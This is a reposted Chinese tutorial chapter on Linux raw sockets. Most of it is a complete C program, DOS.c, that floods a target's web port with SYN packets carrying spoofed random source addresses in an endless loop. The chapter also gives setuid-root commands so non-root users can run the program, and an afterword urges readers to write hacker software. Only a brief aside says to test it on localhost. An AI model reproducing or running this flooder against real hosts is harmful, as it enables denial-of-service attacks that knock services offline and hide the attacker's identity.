Linux網路程式設計--原始套接字(轉)

Linux網路程式設計--原始套接字(轉)[@more@]原始套接字
我們在前面已經學習過了網路程式的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 裡面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root許可權的人建立.

原始套接字的建立

int sockfd(AF_INET,SOCK_RAW,protocol)

可以建立一個原始套接字.根據協議的型別不同我們可以建立不同型別的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況檢視 下面我們以一個例項來說明原始套接字的建立和使用

一個原始套接字的例項
還記得DOS是什麼意思嗎?在這裡我們就一起來編寫一個實現DOS的小程式. 下面是程式的原始碼

/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define DESTPORT 80 /* 要攻擊的埠(WEB) */
#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
fprintf(stderr,"Usage:%s hostname a",argv[0]);
exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostName Error:%s a",hstrerror(h_errno));
exit(1);
}
addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP建立一個TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s a",strerror(errno));
exit(1);
}
/******** 設定IP資料包格式,告訴系統核心模組IP資料包由我們自己來填寫 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 沒有辦法,只用超級護使用者才可以使用原始套接字 *********/
setuid(getpid());

/********* 傳送炸彈了!!!! ****/
send_tcp(sockfd,&addr);
}



/******* 傳送炸彈的實現 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用來放置我們的資料包 ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我們的資料包實際上沒有任何內容,所以長度就是兩個結構的長度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/******** 填充IP資料包的頭部,還記得IP的頭格式嗎? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP資料包的頭部長度 **/
ip->ip_tos=0; /** 服務型別 **/
ip->ip_len=htons(head_len); /** IP資料包的長度 **/
ip->ip_id=0; /** 讓系統去填寫吧 **/
ip->ip_off=0; /** 和上面一樣,省點時間 **/
ip->ip_ttl=MAXTTL; /** 最長的時間 255 **/
ip->ip_p=IPPROTO_TCP; /** 我們要發的是 TCP包 **/
ip->ip_sum=0; /** 校驗和讓系統去做 **/
ip->ip_dst=addr->sin_addr; /** 我們攻擊的物件 **/

/******* 開始填寫TCP資料包 *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的埠 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立連線 **/
tcp->check=0;


/** 好了,一切都準備好了.伺服器,你準備好了沒有?? ^_^ **/
while(1)
{
/** 你不知道我是從那裡來的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();

/** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/** 下面這條可有可無 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}

/* 下面是首部校驗和的演算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;

while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}

sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

編譯一下,拿localhost做一下實驗,看看有什麼結果.(千萬不要試別人的啊). 為了讓普通使用者可以執行這個程式,我們應該將這個程式的所有者變為root,且 設定setuid位

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS


總結
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這裡面是不是有很多的樂趣呢. 當我們建立了一個TCP套接字的時候,我們只是負責把我們要傳送的內容(buffer)傳遞給了系統. 系統在收到我們的資料後,回自動的呼叫相應的模組給資料加上TCP頭部,然後加上IP頭部. 再傳送出去.而現在是我們自己建立各個的頭部,系統只是把它們傳送出去. 在上面的例項中,由於我們要修改我們的源IP地址,所以我們使用了setsockopt函式,如果我們只是修改TCP資料,那麼IP資料一樣也可以由系統來建立的.

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後記
總算完成了網路程式設計這個教程.算起來我差不多寫了一個星期,原來以為寫這個應該是一件 不難的事,做起來才知道原來有很多的地方都比我想象的要難.我還把很多的東西都省略掉了 不過寫完了這篇教程以後,我好象對網路的認識又增加了一步.

如果我們只是編寫一般的 網路程式還是比較容易的,但是如果我們想寫出比較好的網路程式我們還有著遙遠的路要走. 網路程式一般的來說都是多程式加上多執行緒的.為了處理好他們內部的關係,我們還要學習 程式之間的通訊.在網路程式裡面有著許許多多的突發事件,為此我們還要去學習更高階的 事件處理知識.現在的資訊越來越多了,為了處理好這些資訊,我們還要去學習資料庫. 如果要編寫出有用的駭客軟體,我們還要去熟悉各種網路協議.總之我們要學的東西還很多很多.

看一看外國的軟體水平,看一看印度的軟體水平,寶島臺灣的水平,再看一看我們自己的 軟體水平大家就會知道了什麼叫做差距.我們現在用的軟體有幾個是我們中國人自己編寫的.

不過大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的差距, 我們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學習,我們一定能夠學好的.我們就可以追上別人直到超過別人!

相信一點:

別人可以做到的我們一樣可以做到,而且可以比別人做的更好!

勇敢的年輕人,為了我們偉大祖國的軟體產業,為了祖國的未來,努力的去奮鬥吧!祖國會記住你們的!

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